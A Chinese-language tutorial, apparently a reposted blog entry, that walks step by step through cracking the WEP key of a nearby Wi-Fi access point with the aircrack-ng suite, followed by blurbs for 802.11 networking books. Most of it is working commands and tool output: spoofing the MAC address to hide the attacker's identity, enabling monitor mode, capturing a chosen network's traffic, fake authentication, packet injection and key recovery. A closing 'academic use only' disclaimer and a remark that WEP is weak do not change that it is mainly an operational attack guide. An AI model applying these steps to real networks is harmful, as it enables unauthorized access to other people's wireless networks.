`

WEP无线网络破解指南

阅读更多

背景&前提

  1. 本文所阐述的破解技术是基于WEP格式的加密无线网络。
  2. 本文假定你使用的是Ubuntu Linux操作系统,Windows平台下所用方法与本文类似。
  3. 本文假定你有一个可以接收无线信号的网卡,同时该网卡支持监听(monitor)模式。
  4. 本文假定你的网卡可以接收到无线信号,即在你的周围有无线信号。

准备工作

在正式进入破解之前,还是需要做一些准备工作的。

  1. 安装aircrack-ng无线破解软件

    1. 打开终端(Applications->Accessories->Terminal)。
    2. 输入命令:
      sudo apt-get install aircrack-ng
    3. 这时aircrack-ng会自动下载并安装。
    4. (完成后可在终端中输入以下命令
      sudo aircrack-ng --help

      来测试是否安装成功)。

    5. 其实,下载的aircrack-ng不仅仅是“一个”程序,而是一个套件。本文中,我们将会用到其中的:
      • airmon-ng
      • airodump-ng
      • aireplay-ng
      • aircrack-ng
  2. 获取本机无线网卡信息

    首先我们应该知道我们的无线网卡在系统中叫什么名字(也就是标识)。

    1. 输入命令:
      sudo ifconfig
    2. 在输出的内容中,我们应该可以看到类似于”wlan0″的标识,如下图所示。
      wlan0     Link encap:Ethernet  HWaddr 00:22:fa:88:50:4e
                inet6 addr: fe80::20da:a7ff:fe90:a6f5/64 Scope:Link
                UP BROADCAST MULTICAST  MTU:1500  Metric:1
                RX packets:1961 errors:0 dropped:0 overruns:0 frame:0
                TX packets:2123 errors:0 dropped:0 overruns:0 carrier:0
                collisions:0 txqueuelen:1000
                RX bytes:1838600 (1.8 MB)  TX bytes:473232 (473.2 KB)

      (后文中,wlan0就表示我们要操纵的无线网卡)

    3. 输出内容HWaddr后便是无线网卡(wlan0)的MAC地址 00:22:fa:88:50:4e
  3. 修改无线网卡地址(推荐)

    如果你不想被别人知道你的真实身份的话,建议你修改自己的无线网卡地址(MAC地址)。
    在此我们使用macchanger这个程序来修改自己的网卡地址。

    1. 安装macchanger:
      sudo apt-get install macchanger
    2. 在修改之前,需要把网卡停止:
      sudo ifconfig wlan0 down
    3. 将自己的网卡地址修改成随机地址:
      sudo macchanger -r wlan0

      命令中的-r 表示将网卡wlan0的网卡地址修改为任意值,我们此时修改为:22:da:a7:90:a6:f5。

      Current MAC: 00:22:fa:88:50:4e (unknown)
      Faked MAC:   22:da:a7:90:a6:f5 (unknown)
    4. 重新启用无线网卡:
      sudo ifconfig wlan0 up

开始破解

准备工作完成后,便可进入破解工作。

  1. 将网卡调整到监听模式

    在正常状态下,无线网卡是无法侦测到附近电脑与无线接入点之间的通信的。所以为了获取它们之间的通信数据,我们需要开启无线网卡的监听模式。

    1. 在修改之前通过命令:
      iwconfig

      来查看现在的网卡信息,并通过如下命令:

      sudo airmon-ng start wlan0

      来开启无线网卡wlan0的监听模式。

    2. (开启之后的监听网卡名字默认为mon0,可通过命令:
      iwconfig

      来查看网卡信息,我们会发现现在系统多出一个网卡mon0,状态为:Monitor态)

      mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.432 GHz  Tx-Power=20 dBm
                Retry  long limit:7   RTS thr:off   Fragment thr:off
                Power Management:off
  2. 查看附近无线网络

    现在我们就可以查看附近有哪些无线网络了。

    1. 通过命令:
      sudo airodump-ng mon0

      来查看无线网络,结果如下所示(经过处理):

      CH  5 ][ Elapsed: 12 s ][ 20XX-XX-02 10:29                                         
       
       BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID            
       
       00:23:CD:5A:94:12  -47       75        2    0   6  54 . WEP  WEP         zhy
       00:25:86:XX:XX:XX  -58       70        6    0   6  54 . WEP  WEP         317
       C8:3A:35:XX:XX:XX  -75       23        0    0   6  54e  WPA2 CCMP   PSK  415
       00:23:CD:XX:XX:XX  -75       21        0    0   3  54 . WEP  WEP         314
       00:27:19:XX:XX:XX  -73       28        0    0   6  54 . WPA2 CCMP   PSK  TP-LINK_78CFD4   
       
       BSSID              STATION            PWR   Rate    Lost  Packets  Probes                 
       
       (not associated)   00:25:D3:XX:XX:XX  -70    0 - 1     42       36
       (not associated)   00:1C:BF:XX:XX:XX  -70    0 - 1      1        3
       (not associated)   00:25:D3:XX:XX:XX  -56    0 - 1     14       72
       (not associated)   00:26:82:XX:XX:XX  -76    0 - 1     21        5  FAST
       00:23:CD:5A:94:12  00:13:02:XX:XX:XX  -76   48 -54      0        2
    2. 当周围环境中的无线网络接入点基本显示完全后,Ctrl+C结束当前程序。但是不要关闭当前窗口,因为我们还要利用这些数据,为方便下次使用你也可以复制这些数据到文本中。
  3. 获取指定无线接入点数据包

    比如我们要破解上面的一个BSSID为:00:23:CD:5A:94:12的接入点(ESSID为:zhy),我们就需要获取它相应的数据包。

    1. 打开一个新的终端,并输入命令:
      sudo airodump-ng mon0 -w meiyou --bssid 00:23:CD:5A:94:12 -c 6

      其中,参数-w指明数据保存文件(meiyou),参数–bssid指明要截取数据包的接入点MAC地址,参数-c指明获取的频道为6。

    2. (当前程序不要中止,再打开一个新的终端,进行下一步)
  4. 对无线接入点进行注入(推荐)

    如果你感觉上面数据包截取的数据(#Data项)速度太慢,那么你最好对该接入点进行注入。(注:有时,该方法对某些类型的接入点不太好用)

    1. 和该接入点进行关联

      1. 在刚才打开的新终端下,输入命令:
        sudo aireplay-ng -1 0 -a 00:23:CD:5A:94:12 -h 22:da:a7:90:a6:f5  mon0

        其中,参数-1指明这是虚拟认证(Fake authentication),参数0含义不明(官方解释为:0 reassociation timing in seconds),参数-a指明接入点MAC地址,参数-h指明本机MAC地址,mon0为本机网卡名称。

      2. 如果返回结果如下所示,就说明你已经和该接入点关联起来了:
        09:50:52  Waiting for beacon frame (BSSID: 00:23:CD:5A:94:12) on channel 6
         
        09:50:52  Sending Authentication Request (Open System) [ACK]
        09:50:52  Authentication successful
        09:50:52  Sending Association Request [ACK]
        09:50:52  Association successful :-) (AID: 1)
    2. 对该接入点进行注入

      1. 通过命令:
        sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 00:23:CD:5A:94:12 -h 22:da:a7:90:a6:f5 mon0

        其中,参数-2指明这是Interactive packet replay方式,参数-F指明使用第一个匹配的数据包,参数-p指明数据帧的控制字符,参数-c指明目的MAC地址,参数-b指明接入点MAC地址,参数-h指明源地址MAC地址,mon0为本机网卡名称。

      2. 如果返回结果如下所示,那么这时,上一个正在截获数据的终端的#Data项数值应该会疯涨,表明注入成功。
        Saving chosen packet in replay_src-0502-095620.cap
        You should also start airodump-ng to capture replies.
         
        Sent 3152 packets...(499 pps)
      3. (当前程序不要中止,因为我们需要一直进行注入,直到下一步的破解成功为止)
  5. 破解WEP密码

    现在,airodump-ng命令正在截获指定接入点的通信数据,aireplay-ng命令正在对指定接入点进行注入,以增加数据量。那么现在,我们就可以通过另一个命令来处理这些正在截获的数据,以求破解其中的WEP密码。

    1. 打开一个新的终端,输入命令:
      ls meiyou*

      列出了刚才保存的数据文件(meiyou-01.cap),如果你多次截取的话,应该会有多个cap文件。

    2. 通过如下命令,加载数据截取文件,破解WEP密码:
      sudo aircrack-ng meiyou-01.cap

      如果你需要加载多个文件,同时进行破解,输入如下命令:

      sudo aircrack-ng meiyou-*.cap
    3. 现在aircrack-ng程序正在对数据截取文件进行破解,企图找到WEP密码,如果没有找到密码,aircrack-ng程序会等到另一终端截(airodump-ng)取到5000个数据后,重新进行破解。
    4. (现在你应该开着3个终端,一个正在截取接入点数据,一个正在对接入点进行注入,还有一个正在对所截取的文件进行WEP密码破解。如果最后一个终端显示出密码话,进入下一步收尾工作)
    5. 如果一切顺利,密码会自动显示出来:
                                      Aircrack-ng 1.1
       
                      [00:01:41] Tested 87 keys (got 25012 IVs)
       
         KB    depth   byte(vote)
          0    0/  1   62(37120) 11(33536) 4C(33536) 70(33536) 87(33024)
          1    0/  1   61(39168) 27(35072) AF(34304) CC(34048) 83(33792)
          2    3/  5   1F(33792) 2C(33280) 3E(33280) 82(33024) 9F(33024)
          3    0/  3   64(34816) 58(34048) B5(34048) 6A(33280) 7C(33280)
          4    1/  7   75(34304) 50(33792) F1(33792) 10(33536) 23(33536) 
       
                           KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
      	Decrypted correctly: 100%
  6. 收尾工作

    1. 终止aireplay-ng程序对无线接入点的注入(Ctrl+Z终止程序)
    2. 终止airodump-ng程序对数据的截获(Ctrl+C 终止程序)
    3. 至此,完成对指定接入点的WEP密码破解。

反思

就这样,我们很轻松的完成了对WEP无线网络密码的破解工作,由此我们也可以看出采用WEP密码格式加密的无线网络的安全性很低,如果有可能,接入点应采用更高级的加密格式,如WPA/WPA2,而且现在大部分的路由也都支持这种加密格式。

最后,再次重申,本文旨在学术交流,切勿用之非法目的!如遇非法之情事,与本文作者无关。

分享到:
评论

相关推荐

    无线网密码破解

    《无线网密码破解》是一篇关于无线网络破解的文章,主要介绍了使用“奶瓶”系统破解无线网络密码的过程。“奶瓶”系统是一个基于Tiny Core Linux的无线网络安全测试系统,非常简便易学,且拥有强大的安全功能。文章...

    802.11无线网络权威指南第二版 华为H3C

    第一章 无线网络导论 第二章 802.11网络概论 第三章 802.11 MAC 第四章 802.11帧封装细节 第五章 有线等级隐私(WEP) 第六章 802.1x使用者身份证 ... 第19章 802.11与Linux 第20章 使用802.11基站 第21章 无线网络...

    802.11无线网络权威指南 第二版(中文版)

    书中广泛讨论了无线网络的安全问题,包括使用wep标准的安全问题,并讨论了动态wep和802.1x、802.11i安全标准。由于对于任何严谨的网络管理员来说网络监控都是一项必需的工作,因此本书有专门的章节阐述如何使用...

    802.11无线网络权威指南+第二版(中文版)(高清)

    《802.11无线网络权威指南》第二版是针对无线网络专业人士,尤其是系统管理员和网络管理员的一本专业书籍。本书深入探讨了无线网络的多个方面,包括无线网络的安全性、网络性能调整、网络规划、架构扩展、访问点之间...

    802.11无线网络权威指南(第二版全_非扫描 ).pdf

    根据所提供的文件内容,我们可以提炼出以下与802.11无线网络相关的知识点: 1. 无线网络的特点与需求:802.11无线网络能够让用户摆脱传统有线连接的束缚,实现位置上的自由移动。无线频谱是无线网络的核心资源,...

    802.11无线网络权威指南第二版(中文版)

    《802.11无线网络权威指南》第二版是一本针对无线网络的专业技术书籍,涵盖了无线网络的基本原理、结构、安全问题、性能评估以及如何管理和部署无线网络等多个方面。本书由无线网络规划和部署方面的权威作者Matthew ...

    802.11无线网络权威指南+第二版(中文版).pdf

    因此,我将基于【标题】“802.11无线网络权威指南+第二版(中文版).pdf”来展开知识点的说明。 802.11是IEEE(电气和电子工程师协会)制定的一系列无线局域网通信标准。该标准详细规定了无线局域网在2.4GHz波段...

    80211无线网络权威指南

    《802.11无线网络权威指南》是深入探讨802.11无线局域网技术的重要参考资料。802.11协议是IEEE制定的一系列标准,用于规范无线局域网(WLAN)的技术实施,为无线上网提供了基础。这个协议家族包括多个版本,如802.11...

    802.11无线网络指南

    ### 802.11无线网络关键技术知识点 #### 一、无线网络导论 **为何需要无线?** - **无线频谱的关键性**:无线频谱作为一种稀缺资源,在无线通信中扮演着至关重要的角色。它允许设备在不依赖物理连接的情况下进行...

    802.11无线网络权威指南第二版

    《802.11无线网络权威指南》第二版是一本深入探讨无线局域网(WLAN)技术的专业书籍,特别是在802.11标准方面。802.11是IEEE制定的一系列标准,它定义了无线局域网(Wi-Fi)的技术规格,使设备能够通过无线方式相互...

    802.11 无线网络权威指南

    802.11无线网络权威指南是一本深入探讨无线局域网(WLAN)技术的专业书籍,尤其专注于802.11标准。802.11是IEEE为无线局域网制定的一系列标准,它定义了无线设备如何进行通信,包括传输速度、频段、安全性和网络管理...

    802.11 无线网络权威指南第二版英文版

    《802.11 无线网络权威指南第二版》是无线网络技术领域的一本经典著作,主要聚焦于802.11标准及其在Wi-Fi应用中的深度解析。802.11标准是由IEEE(电气和电子工程师协会)制定的一系列无线局域网(WLAN)通信规范,它...

    CCNA无线认证考试指南

    1. 无线网络基础知识:掌握无线网络的基本概念,包括无线网络的类型(如个人局域网PAN、局域网WLAN、城域网MAN和广域网WAN),以及无线网络通信协议如IEEE 802.11标准系列。这些标准包括了各种不同的频段、调制技术...

Global site tag (gtag.js) - Google Analytics